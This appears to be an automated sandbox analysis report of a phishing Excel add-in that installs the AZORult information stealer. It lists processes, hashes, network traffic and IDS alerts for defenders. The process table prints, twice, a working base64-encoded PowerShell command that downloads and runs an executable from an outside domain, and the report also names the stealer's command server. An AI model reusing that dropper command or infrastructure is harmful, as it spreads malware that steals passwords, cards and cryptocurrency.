File name: | part_af71a9dd83f5f66552d3b39612573d6166595a725d4ca71fb70c449c4cf79d25.zip |
Full analysis: | https://app.any.run/tasks/e21c90c6-bddf-4737-8175-dfaa9b0029c6 |
Verdict: | Malicious activity |
Threats: | AZORult can steal banking information, including passwords and credit card details, as well as cryptocurrency. This constantly updated information stealer malware should not be taken lightly, as it continues to be an active threat. |
Analysis date: | April 23, 2019, 15:34:33 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 0DA25B22E602C93BF2F7399A21237EBB |
SHA1: | FFA054B4810DBFAE3EAC39429BA9A3765C9E1268 |
SHA256: | AD4920B6320C132717BDB2B88333DA10AD0563997B4D1235072447DEE8B77605 |
SSDEEP: | 384:HS7tnVN5WRTN4EGAJPAxuXjDflUxfMmXRQnfHiarEwpUtbRneRICLp2j0l/c5yV:y7tnH5OZ4mmxgfmXhcfHYWUtbReN12jK |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 788 |
---|---|
ZipBitFlag: | 0x0001 |
ZipCompression: | Deflated |
ZipModifyDate: | 2019:04:23 15:31:00 |
ZipCRC: | 0x4f70bdab |
ZipCompressedSize: | 20555 |
ZipUncompressedSize: | 22981 |
ZipFileName: | RFQ Order Mediform S.A.xlam |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2304 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\part_af71a9dd83f5f66552d3b39612573d6166595a725d4ca71fb70c449c4cf79d25.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
912 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 | ||||
2480 | "C:\Windows\System32\cmd.exe" & /c pOwErShell -e ZgB1AG4AYwB0AGkAbwBuACAAeQBUAGkAXwBRAFEAbwBkADkAQQBkAEMAZABCAGEATgBvAHUAZQBnAEMAcwBXAHMAVAAxADYAIAAoACAAJABnAGQAcQBqAGsAUgBOAGoAaAByAE8AdQA2AEgAcwBXAFcAUwBYACAALAAgACQAVwA1AEgAdABfAEoAMwBnAE4AXwA2AHoAbgBZAFQARwA5AFAAWQAyAHMATwBhACAAKQANAAoAewANAAoADQAKAA0ACgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgADQAKACQAZwBkAHEAagBrAFIATgBqAGgAcgBPAHUANgBIAHMAVwBXAFMAWAAgACwAIAAkAFcANQBIAHQAXwBKADMAZwBOAF8ANgB6AG4AWQBUAEcAOQBQAFkAMgBzAE8AYQAgAA0ACgApAA0ACgA7AA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAVwA1AEgAdABfAEoAMwBnAE4AXwA2AHoAbgBZAFQARwA5AFAAWQAyAHMATwBhACAAKQANAAoAOwANAAoADQAKAH0ADQAKAA0ACgB0AHIAeQB7AA0ACgANAAoADQAKAA0ACgANAAoADQAKAA0ACgANAAoADQAKACQAYwBfAG0AVgA3AG0AVwBCAFQAZQB0AFIAYwBvAHMAXwBLAEkAWQBkAGMAXwB0AGsAdAA9ACQAZQBuAFYAOgBUAGUAbQBwACsAJwBcADQANQAuAGUAeABlACcAOwANAAoAeQBUAGkAXwBRAFEAbwBkADkAQQBkAEMAZABCAGEATgBvAHUAZQBnAEMAcwBXAHMAVAAxADYAIAAnAGgAdAB0AHAAOgAvAC8AZQBhAHQAZQByAHMAbQBlAC4AYwBvAG0ALwBhAHoALwA0ADUALgBlAHgAZQAnACAAJABjAF8AbQBWADcAbQBXAEIAVABlAHQAUgBjAG8AcwBfAEsASQBZAGQAYwBfAHQAawB0ADsADQAKAA0ACgANAAoADQAKAH0ADQAKAA0ACgANAAoAYwBhAHQAYwBoAHsAfQA= | C:\Windows\System32\cmd.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
332 | pOwErShell -e ZgB1AG4AYwB0AGkAbwBuACAAeQBUAGkAXwBRAFEAbwBkADkAQQBkAEMAZABCAGEATgBvAHUAZQBnAEMAcwBXAHMAVAAxADYAIAAoACAAJABnAGQAcQBqAGsAUgBOAGoAaAByAE8AdQA2AEgAcwBXAFcAUwBYACAALAAgACQAVwA1AEgAdABfAEoAMwBnAE4AXwA2AHoAbgBZAFQARwA5AFAAWQAyAHMATwBhACAAKQANAAoAewANAAoADQAKAA0ACgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgADQAKACQAZwBkAHEAagBrAFIATgBqAGgAcgBPAHUANgBIAHMAVwBXAFMAWAAgACwAIAAkAFcANQBIAHQAXwBKADMAZwBOAF8ANgB6AG4AWQBUAEcAOQBQAFkAMgBzAE8AYQAgAA0ACgApAA0ACgA7AA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAVwA1AEgAdABfAEoAMwBnAE4AXwA2AHoAbgBZAFQARwA5AFAAWQAyAHMATwBhACAAKQANAAoAOwANAAoADQAKAH0ADQAKAA0ACgB0AHIAeQB7AA0ACgANAAoADQAKAA0ACgANAAoADQAKAA0ACgANAAoADQAKACQAYwBfAG0AVgA3AG0AVwBCAFQAZQB0AFIAYwBvAHMAXwBLAEkAWQBkAGMAXwB0AGsAdAA9ACQAZQBuAFYAOgBUAGUAbQBwACsAJwBcADQANQAuAGUAeABlACcAOwANAAoAeQBUAGkAXwBRAFEAbwBkADkAQQBkAEMAZABCAGEATgBvAHUAZQBnAEMAcwBXAHMAVAAxADYAIAAnAGgAdAB0AHAAOgAvAC8AZQBhAHQAZQByAHMAbQBlAC4AYwBvAG0ALwBhAHoALwA0ADUALgBlAHgAZQAnACAAJABjAF8AbQBWADcAbQBXAEIAVABlAHQAUgBjAG8AcwBfAEsASQBZAGQAYwBfAHQAawB0ADsADQAKAA0ACgANAAoADQAKAH0ADQAKAA0ACgANAAoAYwBhAHQAYwBoAHsAfQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2752 | "C:\Users\admin\AppData\Local\Temp\45.exe" | C:\Users\admin\AppData\Local\Temp\45.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Description: Version: 0.0.0.0 | ||||
1688 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe | 45.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual Basic Command Line Compiler Exit code: 0 Version: 8.0.50727.5420 | ||||
3516 | "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\admin\AppData\Local\Temp\45.exe" | C:\Windows\System32\cmd.exe | — | 45.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1900 | choice /C Y /N /D Y /T 3 | C:\Windows\system32\choice.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Offers the user a choice Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2240 | "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "vbc.exe" | C:\Windows\system32\cmd.exe | — | vbc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
124 | C:\Windows\system32\timeout.exe 3 | C:\Windows\system32\timeout.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
Operation: | write | Name: | ShellExtBMP |
Value: | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
Operation: | write | Name: | ShellExtIcon |
Value: | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
Operation: | write | Name: | LanguageList |
Value: en-US | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\part_af71a9dd83f5f66552d3b39612573d6166595a725d4ca71fb70c449c4cf79d25.zip | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
Operation: | write | Name: | name |
Value: 120 | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
Operation: | write | Name: | size |
Value: 80 | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
Operation: | write | Name: | type |
Value: 120 | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
Operation: | write | Name: | mtime |
Value: 100 | |||
(PID) Process: | (2304) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
Operation: | write | Name: | ShowPassword |
Value: 0 | |||
(PID) Process: | (912) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Operation: | write | Name: | yb7 |
Value: 7962370090030000010000000000000000000000 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2304 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb2304.21841\RFQ Order Mediform S.A.xlam | — | |
MD5:— | SHA256:— | |||
912 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRFA4A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
912 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\RFQ Order Mediform S.A.xlam.LNK | — | |
MD5:— | SHA256:— | |||
332 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2BYZ1WCAP7XKH27S5AE6.temp | — | |
MD5:— | SHA256:— | |||
332 | powershell.exe | C:\Users\admin\AppData\Local\Temp\45.exe | executable | |
MD5:7AE24DA9E2C8041C38A84510CB13556A | SHA256:9B40C96D6E15BCD69C0FEDF8076B0F74DE2515CBC7481CBFC8A1034774977575 | |||
332 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
912 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:A51BFDB836590C6D6187741A0E60F8B2 | SHA256:CEBA7453BFFDC17F55404FC377D6F8A2B902EC897B764E2AA5904E56B27C34FD | |||
332 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf0baf.TMP | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
1688 | vbc.exe | C:\Users\admin\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll | executable | |
MD5:5F73A814936C8E7E4A2DFD68876143C8 | SHA256:96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E | |||
1688 | vbc.exe | C:\Users\admin\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll | executable | |
MD5:502263C56F931DF8440D7FD2FA7B7C00 | SHA256:94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
332 | powershell.exe | GET | 200 | 23.229.202.71:80 | http://eatersme.com/az/45.exe | US | executable | 1.25 Mb | malicious |
1688 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | binary | 4.27 Mb | malicious |
1472 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | binary | 4.27 Mb | malicious |
3404 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | text | 2 b | malicious |
3212 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | binary | 4.27 Mb | malicious |
128 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | binary | 4.27 Mb | malicious |
128 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | text | 2 b | malicious |
1864 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | binary | 4.27 Mb | malicious |
2704 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | text | 2 b | malicious |
3212 | vbc.exe | POST | 200 | 161.129.65.60:80 | http://161.129.65.60/index.php | unknown | text | 2 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1472 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
1688 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
2612 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
128 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
3404 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
2704 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
3236 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
332 | powershell.exe | 23.229.202.71:80 | eatersme.com | GoDaddy.com, LLC | US | suspicious |
3212 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
1864 | vbc.exe | 161.129.65.60:80 | — | — | — | malicious |
Domain | IP | Reputation |
---|---|---|
eatersme.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
332 | powershell.exe | A Network Trojan was detected | ET TROJAN JS/Nemucod requesting EXE payload 2016-02-01 |
332 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
332 | powershell.exe | A Network Trojan was detected | ET TROJAN JS/Nemucod.M.gen downloading EXE payload |
332 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1688 | vbc.exe | A Network Trojan was detected | ET TROJAN AZORult Variant.4 Checkin M2 |
1688 | vbc.exe | A Network Trojan was detected | MALWARE [PTsecurity] AZORult client request |
1688 | vbc.exe | A Network Trojan was detected | MALWARE [PTsecurity] AZORult.Stealer HTTP Header |
1688 | vbc.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
1688 | vbc.exe | A Network Trojan was detected | MALWARE [PTsecurity] AZORult encrypted PE file |
1688 | vbc.exe | A Network Trojan was detected | MALWARE [PTsecurity] AZORult.Stealer HTTP Header |